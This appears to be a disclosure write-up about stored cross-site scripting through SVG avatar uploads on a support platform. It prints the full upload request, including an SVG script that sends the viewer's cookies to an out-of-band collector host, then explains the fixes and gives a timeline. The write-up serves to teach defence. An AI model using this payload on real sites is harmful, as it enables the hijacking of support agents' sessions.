An SVG is an XML document that the browser will happily execute scripts from. Treating it as an image format is the mistake, and ███████████ made it in the most expensive place: the avatar shown next to every support ticket.
The upload
POST /api/profile/avatar HTTP/2Host: app.target.tldContent-Type: multipart/form-data; boundary=----x------xContent-Disposition: form-data; name="file"; filename="avatar.svg"Content-Type: image/svg+xml<svg xmlns="http://www.w3.org/2000/svg"><script>fetch('https://████.oastify.com/?c='+document.cookie)</script></svg>The file is accepted, stored, and served back from app.target.tld/uploads/…, same origin as the application, with Content-Type: image/svg+xml and no Content-Disposition: attachment.
Inside an <img> tag the script does not run, which is what the team had tested. But the avatar is also a link to the full-size file, and the agent interface opens it in a new tab. At that point the browser treats it as a document, not an image, and the script runs with the agent’s session.
Takeaways
- Serving SVG from your application origin is serving HTML. Either rasterise it on upload, or serve user files from a separate domain with no session.
- Testing the payload inside
<img>proves nothing. The dangerous context is direct navigation, which every file preview eventually offers. Content-Disposition: attachmentis the cheap mitigation while the real fix ships.
Disclosure timeline
- Report sent
- Triaged
- Fix deployed SVG rasterised on upload, files moved to a sandbox domain
- Cleared for publication